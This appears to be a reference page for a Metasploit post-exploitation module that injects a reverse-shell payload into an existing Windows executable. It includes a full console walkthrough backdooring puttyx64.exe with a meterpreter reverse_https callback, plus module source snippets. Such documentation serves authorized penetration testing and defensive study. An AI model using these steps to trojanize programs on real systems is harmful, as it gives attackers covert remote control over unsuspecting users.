Peinjector - Metasploit


This page contains detailed information about how to use the post/windows/manage/peinjector metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Peinjector
Module: post/windows/manage/peinjector
Source code: modules/post/windows/manage/peinjector.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will inject a specified windows payload into a target executable.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/peinjector

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/peinjector
msf post(peinjector) > show options
    ... show and set options ...
msf post(peinjector) > set SESSION session-id
msf post(peinjector) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/peinjector")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

  • LHOST: IP of host that will receive the connection from the payload.

Knowledge Base


Overview


This module inserts a payload into an existing PE file on a remote machine. When a user launches the binary, the payload will run as a thread within the process with the same privs.

Options


LHOST IP of host that will receive the connection from the payload. LPORT Port for Payload to connect to. OPTIONS Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format. PAYLOAD Windows Payload to inject into the targer executable. SESSION The session to run this module on. TARGETPE Path of the target executable to Path of the target executable to be injected

Limitations


This process is not reverse-able. If you would like to return the binary to it's original state, save a copy.

THE PAYLOAD WILL NOT SPAWN AN INDEPENDENT PROCESS/THREAD AND THE SESSION WILL DIE WITH THE BINARY AND/OR WILL KILL THE BINARY WHEN THE SESSION EXITS. Be careful closing sessions that were spawned using this method!

If a setting is wrong, it may cause the binary to fail to launch, alerting the user to possible shinnanigans.

Vulnerable Application


Vulnerable is a bad term; this module inserts shellcode into a pe file. That means any Windows pe files are vulnerable. Be aware that some files like calc.exe on later Windows versions are not entirely normal in their behvior and are not vulnerable

Verification Steps


  • get session on target
  • use post/windows/manage/peinjector
  • set payload <payload>
  • set lport <lport>
  • set lhost <lhost>
  • set targetpe <*.exe>
  • run

Usage


meterpreter > sysinfo
Computer        : WIN10X64-1511
OS              : Windows 10 (Build 10586).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use post/windows/manage/peinjector 
msf5 post(windows/manage/peinjector) > show options

Module options (post/windows/manage/peinjector):

   Name      Current Setting                    Required  Description
   ----      ---------------                    --------  -----------
   LHOST                                        yes       IP of host that will receive the connection from the payload.
   LPORT     4433                               no        Port for Payload to connect to.
   OPTIONS                                      no        Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
   PAYLOAD   windows/meterpreter/reverse_https  no        Windows Payload to inject into the targer executable.
   SESSION                                      yes       The session to run this module on.
   TARGETPE                                     no        Path of the target executable to be injected

msf5 post(windows/manage/peinjector) > set lhost 192.168.135.111
lhost => 192.168.135.111
msf5 post(windows/manage/peinjector) > set lport 4561
lport => 4561
msf5 post(windows/manage/peinjector) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf5 post(windows/manage/peinjector) > set session 1
session => 1
msf5 post(windows/manage/peinjector) > set targetpe 'C:\users\msfuser\downloads\puttyx64.exe'
targetpe => C:\users\msfuser\downloads\puttyx64.exe
msf5 post(windows/manage/peinjector) > show options

Module options (post/windows/manage/peinjector):

   Name      Current Setting                          Required  Description
   ----      ---------------                          --------  -----------
   LHOST     192.168.135.111                          yes       IP of host that will receive the connection from the payload.
   LPORT     4561                                     no        Port for Payload to connect to.
   OPTIONS                                            no        Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
   PAYLOAD   windows/x64/meterpreter/reverse_https    no        Windows Payload to inject into the targer executable.
   SESSION   1                                        yes       The session to run this module on.
   TARGETPE  C:\users\msfuser\downloads\puttyx64.exe  no        Path of the target executable to be injected

msf5 post(windows/manage/peinjector) > run

[*] Running module against WIN10X64-1511
[*] Generating payload
[*] Injecting Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) into the executable C:\users\msfuser\downloads\puttyx64.exe
[+] Successfully injected payload into the executable: C:\users\msfuser\downloads\puttyx64.exe
[*] Post module execution completed
msf5 post(windows/manage/peinjector) >

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/peinjector post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/peinjector

[*] Using configured payload windows/meterpreter/reverse_https
msf6 post(windows/manage/peinjector) > show info

       Name: Peinjector
     Module: post/windows/manage/peinjector
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Maximiliano Tedesco <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name      Current Setting                    Required  Description
  ----      ---------------                    --------  -----------
  LHOST                                        yes       IP of host that will receive the connection from the payload.
  LPORT     4433                               no        Port for Payload to connect to.
  OPTIONS                                      no        Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
  PAYLOAD   windows/meterpreter/reverse_https  no        Windows Payload to inject into the targer executable.
  SESSION                                      yes       The session to run this module on.
  TARGETPE                                     no        Path of the target executable to be injected

Description:
  This module will inject a specified windows payload into a target 
  executable.

Module Options


This is a complete list of options available in the windows/manage/peinjector post exploitation module:

msf6 post(windows/manage/peinjector) > show options

Module options (post/windows/manage/peinjector):

   Name      Current Setting                    Required  Description
   ----      ---------------                    --------  -----------
   LHOST                                        yes       IP of host that will receive the connection from the payload.
   LPORT     4433                               no        Port for Payload to connect to.
   OPTIONS                                      no        Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
   PAYLOAD   windows/meterpreter/reverse_https  no        Windows Payload to inject into the targer executable.
   SESSION                                      yes       The session to run this module on.
   TARGETPE                                     no        Path of the target executable to be injected

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/peinjector post exploitation module:

msf6 post(windows/manage/peinjector) > show advanced

Module advanced options (post/windows/manage/peinjector):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/peinjector module can do:

msf6 post(windows/manage/peinjector) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/peinjector post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/peinjector) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Running module against <COMPUTER>


Here is a relevant code snippet related to the "Running module against <COMPUTER>" error message:

33:	  # Run Method for when run command is issued
34:	  def run
35:	    session.core.use('peinjector')
36:	
37:	    # syinfo is only on meterpreter sessions
38:	    print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
39:	
40:	    # Check that the payload is a Windows one and on the list
41:	    if not session.framework.payloads.keys.grep(/windows/).include?(datastore['PAYLOAD'])
42:	      print_error("The Payload specified #{datastore['PAYLOAD']} is not a valid for this system")
43:	      return

The Payload specified <PAYLOAD> is not a valid for this system


Here is a relevant code snippet related to the "The Payload specified <PAYLOAD> is not a valid for this system" error message:

37:	    # syinfo is only on meterpreter sessions
38:	    print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
39:	
40:	    # Check that the payload is a Windows one and on the list
41:	    if not session.framework.payloads.keys.grep(/windows/).include?(datastore['PAYLOAD'])
42:	      print_error("The Payload specified #{datastore['PAYLOAD']} is not a valid for this system")
43:	      return
44:	    end
45:	
46:	    # Set variables
47:	    pay_name = datastore['PAYLOAD']

Failed to Inject Payload to executable <PARAM:TARGETPE>!


Here is a relevant code snippet related to the "Failed to Inject Payload to executable <PARAM:TARGETPE>!" error message:

95:	      param[:size] = threaded_shellcode.length;
96:	
97:	      print_status("Injecting #{pay.name} into the executable #{param[:targetpe]}")
98:	      client.peinjector.inject_shellcode(param)
99:	      print_good("Successfully injected payload into the executable: #{param[:targetpe]}")
100:	    rescue ::Exception => e
101:	      print_error("Failed to Inject Payload to executable #{param[:targetpe]}!")
102:	      print_error(e.to_s)
103:	    end
104:	  end
105:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.